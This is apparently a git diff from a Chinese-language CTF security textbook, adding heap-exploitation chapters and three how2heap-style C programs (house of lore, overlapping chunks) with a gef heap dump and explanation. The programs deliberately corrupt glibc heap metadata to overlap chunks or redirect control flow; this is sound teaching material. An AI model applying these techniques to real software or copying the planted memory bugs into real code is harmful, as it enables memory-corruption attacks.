0x6020e0: 0x4141414141414141 0x4141414141414141
0x6020f0: 0x4141414141414141 0x4141414141414141
0x602100: 0x4141414141414141 0x4141414141414141
0x602110: 0x4141414141414141 0x4141414141414141
0x602120: 0x4141414141414141 0x4141414141414141
0x602130: 0x4141414141414141 0x4141414141414141
0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602160: 0x4141414141414141 0x4141414141414141
0x602170: 0x4141414141414141 0x4141414141414141
0x602180: 0x4141414141414141 0x4141414141414141
0x602190: 0x4141414141414141 0x4141414141414141
0x6021a0: 0x4141414141414141 0x4141414141414141
0x6021b0: 0x4141414141414141 0x4141414141414141
0x6021c0: 0x4141414141414141 0x4141414141414141
0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size
0x6021e0: 0x4141414141414141 0x4141414141414141
0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
0x602200: 0x0000000000000000 0x0000000000000000
0x602210: 0x0000000000000000 0x0000000000000000
0x602220: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
→ Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
```
现在 unsorted bin 里的 chunk 的大小为 0x1b0，即 0x90*3。咦，所以 chunk 3 虽然是使用状态，但也被强行算在了 free chunk 的空间里了。
最后，如果我们分配一块大小为 0x1b0-0x10 的大空间，返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了，结果就像上面运行时打印出来的一样。

19
doc/3.3.7_heap_exploit_3.md Normal file
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@ -0,0 +1,19 @@
# 3.3.7 Linux 堆利用（下）
- [how2heap](#how2heap)
- [house_of_force](#house_of_force)
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
[下载文件](../src/Others/3.3.5_heap_exploit)
## how2heap
#### house_of_force
#### unsorted_bin_attack
#### house_of_einherjar
#### house_of_orange

1
doc/3.3_pwn.md
View File

@ -6,3 +6,4 @@
- [3.3.4 返回导向编程（ROP）](3.3.4_rop.md) - [3.3.4 返回导向编程（ROP）](3.3.4_rop.md)
- [3.3.5 Linux 堆利用（上）](3.3.5_heap_exploit_1.md) - [3.3.5 Linux 堆利用（上）](3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用（中）](3.3.6_heap_exploit_2.md) - [3.3.6 Linux 堆利用（中）](3.3.6_heap_exploit_2.md)
- [3.3.7 Linux 堆利用（下）](3.3.7_heap_exploit_3.md)

6
doc/3_topics.md
View File

@ -8,7 +8,11 @@
- [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.2 整数溢出](3.3.2_integer_overflow.md)
- [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md)
- [3.3.4 返回导向编程（ROP）](3.3.4_rop.md) - [3.3.4 返回导向编程（ROP）](3.3.4_rop.md)
- [3.3.5 堆利用](3.3.5_heap_exploit.md) - [3.3.5 Linux 堆利用（上）](3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用（中）](3.3.6_heap_exploit_2.md)
- [3.3.7 Linux 堆利用（下）](3.3.7_heap_exploit_3.md)
- [3.4 Web](3.4_web.md) - [3.4 Web](3.4_web.md)
- [3.4.1 SQL 注入利用](3.4.1_sql_injection.md)
- [3.4.2 XSS 漏洞利用](3.4.2_xss.md)
- [3.5 Misc](3.5_misc.md) - [3.5 Misc](3.5_misc.md)
- [3.6 Mobile](3.6_mobile.md) - [3.6 Mobile](3.6_mobile.md)

47
src/Others/3.3.5_heap_exploit/house_of_lore.c Normal file
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main() {
intptr_t *victim = malloc(0x80);
memset(victim, 'A', 0x80);
void *p5 = malloc(0x10);
memset(p5, 'A', 0x10);
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
stack_buffer_1[0] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
free((void*)victim);
fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
void *p2 = malloc(0x100);
fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
void *p3 = malloc(0x40);
char *p4 = malloc(0x80);
memset(p4, 'A', 0x10);
fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}

39
src/Others/3.3.5_heap_exploit/overlapping_chunks.c Normal file
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x90 - 8);
p2 = malloc(0x90 - 8);
p3 = malloc(0x80 - 8);
memset(p1, 'A', 0x90 - 8);
memset(p2, 'A', 0x90 - 8);
memset(p3, 'A', 0x80 - 8);
fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
free(p2);
fprintf(stderr, "Freeing the chunk p2\n");
int evil_chunk_size = 0x111;
int evil_region_size = 0x110 - 8;
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
p4 = malloc(evil_region_size);
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
memset(p4, 'B', 0xd0);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
memset(p3, 'C', 0x50);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

50
src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c Normal file
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
p1 = malloc(0x10);
p2 = malloc(0x80);
p3 = malloc(0x80);
p4 = malloc(0x80);
p5 = malloc(0x10);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1, 'A', real_size_p1);
memset(p2, 'A', real_size_p2);
memset(p3, 'A', real_size_p3);
memset(p4, 'A', real_size_p4);
memset(p5, 'A', real_size_p5);
fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
free(p4);
fprintf(stderr, "\nLet's free the chunk p4\n\n");
fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
*(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
free(p2);
p6 = malloc(0x1b0 - 0x10);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
fprintf(stderr, "p3 before = %s\n", (char *)p3);
memset(p6, 'B', 0xd0);
fprintf(stderr, "p3 after = %s\n", (char *)p3);
}